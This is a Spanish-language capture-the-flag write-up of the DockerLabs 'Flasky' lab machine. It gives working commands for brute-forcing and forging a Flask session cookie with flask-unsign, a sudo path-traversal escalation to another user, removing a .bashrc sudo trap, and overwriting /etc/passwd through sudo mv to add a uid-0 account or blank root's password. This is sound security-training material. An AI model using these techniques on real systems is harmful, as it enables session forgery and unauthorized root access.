Flasky, DockerLabs
Maquina flasky de DockerLabs calificada como dificultad media , segun descripcion nos aprovecharemos de una cookie de flask y escalada lateral hacia root.
Herramientas y recursos
| Tecnicas | Herramientas | objetivo |
|---|---|---|
| scan de puertos | nmap | Descubrimiento de servicios expuestos |
| Cookie Brute Forcing | flask-unsign | Obtener la Secret Key de Flask. |
| Session Manipulation | Navegador (DevTools) | Suplantar perfil de Administrador. |
| Sudo Hijacking | Path Traversal | Ejecutar scripts propios como otro usuario. |
| Environment Cleaning | sed, unset, unalias | Eliminar restricciones en el .bashrc. |
| Arbitrary File Write | mv (Privilegiado) | Modificar /etc/passwd para ganar acceso root. |
Reconocimiento y enumeracion
Lo primero como siempre le tiramos un nmap con los parámetros de costumbre y al ser un awindows con bastantes puertos abiertos tarda un poco.
1
sudo nmap -p- -sS -sC -sV --min-rate=5000 -n -Pn -oX flasky
observamos el reporte y tenemos el 22,5000 y como en la descripcion nos hablaban de un login vamo a la web directos.
Nos encontramos una pagina que nos pide login asi que nos vamos a crear un usuario y procedemos a loguearnos y ya vemos de que trata mas claramente.
Vemos muy claramente que nos hemos de convertir en administrador para ello lo primero debe ser ver los campos que contiene la cookie.
En esta web, la podemos ver rapidamente :
No sabemos que campo profile o id nos hara admins asi que vamos a probar primero en el profile a hacernos admin o administrador pueden haber unas cuanteas opciones , aunque por lo general el admin casi siempre sule ser id 1
- Este tipo de cookies van firmadas con un key secret, por tanto si solo cambiamos el id de 3 a 1 no va a coincidir y backend la rechazara.
Despues de estar un rato fuzzeando sin nigun exito me encuentro en la web de hacktricks la explicacion y la herramienta necesaria , de hecho me sorprende que haga fuerza bruta contra cookie directamente,esta es la herramienta que nos permitar crackear , modificar y firmar nuestra nueva cookie.
Que vamos a hacer:
- decodear la cookie en nuestra maquina
- Hacemos fuerza bruta contra la cookie
- Modificar el campo que creamos oportuno y firmarla
1
flask-unsign --decode --cookie ".eJyrViooyk_LzElVslIqLU4tUtIBU_GZKUpWxhB2XmIuSLYktbhEqRYAkK4QQQ.ab2spw.kx-ZnhfH-VdB-XY_DSIiieo8Uh8"
Nos fijamos los campos que se envian y lo modificamos a nuestro antojo
Aplicamos fuerza bruta a ver si conseguimos la key
1
flask-unsign --wordlist rockyou_clean.txt --unsign --cookie ".eJyrViooyk_LzElVslIqLU4tUtIBU_GZKUpWJhB2XmIuSLYktbhEqRYAkMIQQg.ab2bYg.EzfCTWVr7f1bZkbOHXPw2fB4WC4" --no-literal-eval
En la imagen de arriba vemos que nos dio la clave y tambien nos muestra el contenido de los campos.
Ahora modificaremos la cookie y la firmaremos con la llave recien obtenida..
1
flask-unsign --sign --cookie "{'profile': 'admin', 'user_id': 3, 'username': 'test'}" --secret 'secret123' --no-literal-eval
Ahora pillamos la cookie que nos genera el comando anterior y la pegamos en herramientas desarrollador/application/cookies y le damos F5
Nos dan el pass de ssh asi que vamos y ni bien ejecuto me encuentro esto :
Vamos podemos ejecutar cualquier cosa en /home/pam , yo hago lo siguiente y me funciono
1
2
3
4
echo '#!/bin/bash' > /tmp/exploit.sh
echo '/bin/bash -p' >> /tmp/exploit.sh
chmod +x /tmp/exploit.sh
sudo -u pan /usr/bin/bash /home/pan/../../../../../tmp/exploit.sh
Y asi nos hacemos pan al ejecutar sudo -l me tira un erro extraño
Ejecutando un alias vemos que sudo lo tiene asi que vamos a revisar el .bashrc y con cat al final del fichero vemos lo de la imagen de abajo.
Vamos a eliminar las ultimas lineas despues de unas pruebas se con cuantas me quedo:
1
head -n 114 .bashrc > .bashrc
Despues de probar varias veces y revisar bien el fichero me doy cuenta que tambien esta en medio del script la misma funcion que eliminamos abajo , asi que ahora toca tirar de sed usando un rango de patrones para seleccionar todo lo que queremos borrar.
1
sed -i '/sudo() {/,/alias sudo=/d' .bashrc
- -i : le indicamos que se guarda en el mismo archivo
- /sudo() {/ : le decimos que empieze a sellecionar desde esa linea
- , : es el separador
- /alias sudo=/ : es el patron que le inidica el fin de la seleccion
- d : le decimos que borre
Despues de ejecutar ese comando y pasarle un grep no detcta nada que nos valla a molestar.
Ahora limpiemos todo el entorno dado que todo sigue activo en el entorno:
1
2
3
unset -f sudo
unalias sudo
source .bashrc
Ahora si y nos han dejado mv.
Realmente si podemos mover cualquier fichero como root podemos hacer ya lo que queramos,
Nos creamos nuestro propio usuario privilegiado para ello , nos creamos la clave con openssl , creamos nuestra linea en un fichero en /tmp , copiamos al fianl del fichero recien creado todo el passwd lo movemos con sudo y ejecutamos
1
2
3
4
5
openssl passwd -1 -salt xyz password123
echo 'r00t:$1$xyz$yHoMTbjR/T1EsmNb.r7cu0:0:0:root:/root:/bin/bash' > /tmp/mi_user
cat /etc/passwd >> /tmp/mi_user
sudo /usr/bin/mv /tmp/mi_user /etc/passwd
su r00t
Tambien y mas facil sacarle la x a root , lo que hace que no pida password :
1
2
3
4
cat /etc/passwd >> /tmp/passwd
sed -i 's/^root:x:/root::/' /tmp/passwd
sudo /usr/bin/mv /tmp/passwd /etc/passwd
su
HAsta aqui la maquinita divertida , el principio del cookie muy bueno no conocia , un saludo y grtacias por leer.
















Comments powered by Disqus.